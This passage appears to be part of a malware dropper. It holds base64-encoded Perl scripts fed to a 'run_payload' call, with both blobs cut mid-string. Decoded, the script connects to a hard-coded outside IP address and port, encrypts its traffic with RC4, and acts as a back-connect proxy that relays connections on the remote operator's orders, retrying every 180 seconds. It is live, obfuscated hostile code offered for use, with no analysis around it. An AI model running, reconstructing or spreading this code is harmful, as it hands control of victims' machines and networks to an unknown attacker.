VUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_8.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTU3JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YX